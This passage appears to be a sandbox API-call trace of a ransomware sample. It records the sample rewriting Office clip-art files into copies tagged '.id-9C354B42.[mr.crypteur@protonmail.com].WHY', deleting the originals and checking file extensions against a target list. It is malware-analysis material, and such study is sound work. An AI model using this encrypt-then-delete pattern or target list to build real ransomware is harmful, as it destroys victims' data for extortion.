nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.334] WriteFile (in: hFile=0x3b8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.334] SetEndOfFile (hFile=0x3b8) returned 1 [0242.334] CloseHandle (hObject=0x3b8) returned 1 [0242.335] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.336] SetEndOfFile (hFile=0x3a4) returned 1 [0242.350] CloseHandle (hObject=0x3a4) returned 1 [0242.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.375] lstrlenW (lpString=".doc") returned 4 [0242.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.375] lstrlenW (lpString=".docx") returned 5 [0242.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.376] lstrlenW (lpString=".pdf") returned 4 [0242.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.376] lstrlenW (lpString=".xls") returned 4 [0242.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.376] lstrlenW (lpString=".xlsx") returned 5 [0242.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.376] lstrlenW (lpString=".ppt") returned 4 [0242.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.376] lstrlenW (lpString=".zip") returned 4 [0242.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.376] lstrlenW (lpString=".rar") returned 4 [0242.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString=".bz2") returned 4 [0242.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString=".7z") returned 3 [0242.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.377] lstrlenW (lpString=".dbf") returned 4 [0242.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.377] lstrlenW (lpString=".1cd") returned 4 [0242.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.377] lstrlenW (lpString=".jpg") returned 4 [0242.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.378] lstrlenW (lpString=".doc") returned 4 [0242.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString=".docx") returned 5 [0242.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.378] lstrlenW (lpString=".pdf") returned 4 [0242.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.378] lstrlenW (lpString=".xls") returned 4 [0242.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.379] lstrlenW (lpString=".xlsx") returned 5 [0242.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.379] lstrlenW (lpString=".ppt") returned 4 [0242.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.379] lstrlenW (lpString=".zip") returned 4 [0242.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.379] lstrlenW (lpString=".rar") returned 4 [0242.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.379] lstrlenW (lpString=".bz2") returned 4 [0242.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.379] lstrlenW (lpString=".7z") returned 3 [0242.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.380] lstrlenW (lpString=".dbf") returned 4 [0242.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.380] lstrlenW (lpString=".1cd") returned 4 [0242.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0242.380] lstrlenW (lpString=".jpg") returned 4 [0242.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.381] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.381] lstrlenW (lpString="AN00853_.WMF") returned 12 [0242.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.429] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=20578) returned 1 [0242.429] CloseHandle (hObject=0x354) returned 1 [0242.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0242.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.430] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.430] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.431] GetLastError () returned 0x0 [0242.431] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x5062, lpOverlapped=0x0) returned 1 [0242.461] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0242.466] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.466] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.467] SetEndOfFile (hFile=0x3b0) returned 1 [0242.472] CloseHandle (hObject=0x3b0) returned 1 [0242.474] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.474] SetEndOfFile (hFile=0x354) returned 1 [0242.482] CloseHandle (hObject=0x354) returned 1 [0242.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0242.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.722] lstrlenW (lpString=".doc") returned 4 [0242.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.722] lstrlenW (lpString=".docx") returned 5 [0242.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.722] lstrlenW (lpString=".pdf") returned 4 [0242.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.722] lstrlenW (lpString=".xls") returned 4 [0242.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.722] lstrlenW (lpString=".xlsx") returned 5 [0242.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.722] lstrlenW (lpString=".ppt") returned 4 [0242.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.722] lstrlenW (lpString=".zip") returned 4 [0242.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.723] lstrlenW (lpString=".rar") returned 4 [0242.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.723] lstrlenW (lpString=".bz2") returned 4 [0242.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.723] lstrlenW (lpString=".7z") returned 3 [0242.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.723] lstrlenW (lpString=".dbf") returned 4 [0242.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.723] lstrlenW (lpString=".1cd") returned 4 [0242.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.724] lstrlenW (lpString=".jpg") returned 4 [0242.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.724] lstrlenW (lpString=".doc") returned 4 [0242.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.724] lstrlenW (lpString=".docx") returned 5 [0242.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.724] lstrlenW (lpString=".pdf") returned 4 [0242.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.724] lstrlenW (lpString=".xls") returned 4 [0242.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.725] lstrlenW (lpString=".xlsx") returned 5 [0242.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.725] lstrlenW (lpString=".ppt") returned 4 [0242.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.725] lstrlenW (lpString=".zip") returned 4 [0242.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.725] lstrlenW (lpString=".rar") returned 4 [0242.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.725] lstrlenW (lpString=".bz2") returned 4 [0242.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.725] lstrlenW (lpString=".7z") returned 3 [0242.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.726] lstrlenW (lpString=".dbf") returned 4 [0242.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.726] lstrlenW (lpString=".1cd") returned 4 [0242.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0242.726] lstrlenW (lpString=".jpg") returned 4 [0242.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.727] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.727] lstrlenW (lpString="AN00914_.WMF") returned 12 [0242.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.750] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=10832) returned 1 [0242.750] CloseHandle (hObject=0x384) returned 1 [0242.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0242.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0242.884] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.885] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.887] GetLastError () returned 0x0 [0242.887] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0242.907] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0242.910] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.910] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.911] SetEndOfFile (hFile=0x39c) returned 1 [0242.919] CloseHandle (hObject=0x39c) returned 1 [0242.922] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.922] SetEndOfFile (hFile=0x3a8) returned 1 [0242.938] CloseHandle (hObject=0x3a8) returned 1 [0242.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0242.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.983] lstrlenW (lpString=".doc") returned 4 [0242.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.983] lstrlenW (lpString=".docx") returned 5 [0242.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.983] lstrlenW (lpString=".pdf") returned 4 [0242.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.983] lstrlenW (lpString=".xls") returned 4 [0242.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.983] lstrlenW (lpString=".xlsx") returned 5 [0242.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.983] lstrlenW (lpString=".ppt") returned 4 [0242.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.984] lstrlenW (lpString=".zip") returned 4 [0242.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.984] lstrlenW (lpString=".rar") returned 4 [0242.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.984] lstrlenW (lpString=".bz2") returned 4 [0242.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.984] lstrlenW (lpString=".7z") returned 3 [0242.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.984] lstrlenW (lpString=".dbf") returned 4 [0242.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.984] lstrlenW (lpString=".1cd") returned 4 [0242.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.985] lstrlenW (lpString=".jpg") returned 4 [0242.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.985] lstrlenW (lpString=".doc") returned 4 [0242.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.985] lstrlenW (lpString=".docx") returned 5 [0242.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.985] lstrlenW (lpString=".pdf") returned 4 [0242.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.986] lstrlenW (lpString=".xls") returned 4 [0242.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.986] lstrlenW (lpString=".xlsx") returned 5 [0242.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.986] lstrlenW (lpString=".ppt") returned 4 [0242.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.986] lstrlenW (lpString=".zip") returned 4 [0242.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.986] lstrlenW (lpString=".rar") returned 4 [0242.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.986] lstrlenW (lpString=".bz2") returned 4 [0242.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.986] lstrlenW (lpString=".7z") returned 3 [0242.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.987] lstrlenW (lpString=".dbf") returned 4 [0242.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.987] lstrlenW (lpString=".1cd") returned 4 [0242.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0242.987] lstrlenW (lpString=".jpg") returned 4 [0242.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.988] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.988] lstrlenW (lpString="AN01044_.WMF") returned 12 [0242.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.989] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1596) returned 1 [0242.989] CloseHandle (hObject=0x354) returned 1 [0242.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0242.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.990] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.990] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0242.992] GetLastError () returned 0x0 [0242.992] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x63c, lpOverlapped=0x0) returned 1 [0243.083] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x640, lpOverlapped=0x0) returned 1 [0244.054] ReadFile (in: hFile=0x354, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.067] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.067] SetEndOfFile (hFile=0x3a8) returned 1 [0244.217] CloseHandle (hObject=0x3a8) returned 1 [0244.538] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.538] SetEndOfFile 